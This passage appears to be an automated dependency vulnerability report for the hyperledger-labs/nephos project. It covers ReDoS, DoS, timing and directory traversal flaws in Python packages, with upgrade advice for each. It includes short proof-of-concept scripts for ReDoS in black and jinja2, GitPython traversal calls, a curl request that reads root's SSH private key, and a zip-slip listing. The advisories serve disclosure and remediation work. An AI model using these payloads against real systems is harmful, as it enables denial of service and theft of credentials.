Exploiting this vulnerability is possible when running Black on untrusted input, or if you habitually put thousands of leading tab characters in your docstrings.

PoC

import time
from black.strings import lines_with_leading_tabs_expanded


def timer(func):
    def wrapper(*args, **kwargs):
        start_time = time.time()
        result = func(*args, **kwargs)
        end_time = time.time()
        elapsed_time = end_time - start_time
        print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
        return result

    return wrapper


def sizer(func):
    def wrapper(*args, **kwargs):
        result = func(*args, **kwargs)
        print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
        return result

    return wrapper


@sizer
def create_payload(char_length: int):
    return "\t" * char_length


@timer
def redos_poc_runner(char_length: int):
    print(char_length)
    lines_with_leading_tabs_expanded(create_payload(char_length))
    pass


if __name__ == '__main__':
    redos_poc_runner(100)
    redos_poc_runner(1000)
    redos_poc_runner(2000)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade black to version 24.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the DH_check(), DH_check_ex() and EVP_PKEY_param_check() functions, which are used to check a DH key or DH parameters.

When the key or parameters that are being checked contain an excessively large modulus value (the p parameter) this may cause slowness in processing. Some checks use the supplied modulus value even if it has already been found to be too large.

The OpenSSL dhparam and pkeyparam command line applications are also vulnerable, when using the -check option.

NOTE: The OpenSSL SSL/TLS implementation is not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_generate_key(), DH_check_pub_key(), DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate() functions are used. An attacker can cause long delays and potentially a Denial of Service by supplying excessively long X9.42 DH keys or parameters obtained from an untrusted source.

Note:

This is only exploitable if the application uses these functions to generate or check an X9.42 DH key or parameters. Also, the OpenSSL pkey command line application, when using the -pubcheck option, as well as the OpenSSL genpkey command line application, are vulnerable to this issue.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

medium severity

Missing Cryptographic Step

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.5.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Missing Cryptographic Step when the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() or EVP_CipherInit_ex2() functions are used. An attacker can cause truncation or overreading of key and initialization vector (IV) lengths by altering the "keylen" or "ivlen" parameters within the OSSL_PARAM array after the key and IV have been established. This can lead to potential truncation or overruns during the initialization of some symmetric ciphers, such as RC2, RC4, RC5, CCM, GCM, and OCB. A truncation in the IV can result in non-uniqueness, which could result in loss of confidentiality for some cipher modes.

Both truncations and overruns of the key and the IV will produce incorrect results and could, in some cases, trigger a memory exception.

Remediation

Upgrade cryptography to version 41.0.5 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Timing Attack in rsa/rsa_ossl.c. An attacker can recover ciphertext with a Bleichenbacher style attack by sending a large number of trial messages (Marvin). This affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP, and RSASVE.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.35.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Directory Traversal due to improper validation of the final path. Although this vulnerability cannot be used to read the contents of files, it could potentially be used to trigger a denial of service for the program.

PoC

import git

r = git.Repo(".")

# This will make GitPython read the README.md file from the root of the repo
r.commit("../README.md")
r.tree("../README.md")
r.index.diff("../README.md")

# Reading /etc/random
# WARNING: this will probably halt your system, run with caution
# r.commit("../../../../../../../../../dev/random")

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade GitPython to version 3.1.35 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: jinja2
  • Introduced through: jinja2@2.10.3, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 jinja2@2.10.3
    Remediation: Upgrade to jinja2@2.11.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 jinja2@2.10.3
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The ReDoS vulnerability is mainly due to the _punctuation_re regex operator and its use of multiple wildcards. The last wildcard is the most exploitable as it searches for trailing punctuation.

This issue can be mitigated by using Markdown to format user content instead of the urlize filter, or by implementing request timeouts or limiting process memory.

PoC by Yeting Li

from jinja2.utils import urlize
from time import perf_counter

for i in range(3):
    text = "abc@" + "." * (i+1)*5000 + "!"
    LEN = len(text)
    BEGIN = perf_counter()
    urlize(text)
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Jinja2 to version 2.11.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pygments
  • Introduced through: pygments@2.3.1, readme-renderer@24.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pygments@2.3.1
    Remediation: Upgrade to pygments@2.15.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to readme-renderer@24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of insecure regular expressions in SqlJinjaLexer class. Exploiting this vulnerability is possible when processing Smithy, SQL/SQL+Jinja, or Java properties files from an untrusted source.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pygments to version 2.15.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.2.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1
    Remediation: Upgrade to sphinx@3.3.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of an insecure regular expression in the function load_v2 of inventory.py.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.2.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1
    Remediation: Upgrade to sphinx@3.3.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in google style docs, due to using an inefficient regex pattern with quantified overlapping adjacency.

PoC

" " * 5000 + "!"

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sphinx to version 3.3.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.26.5.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the SUBAUTHORITY_PAT regex pattern in src/urllib3/util/url.py.

If a URL is passed as a parameter or redirected to via an HTTP redirect and it contains many @ characters in the authority component, the authority regular expression exhibits catastrophic backtracking, causing a denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

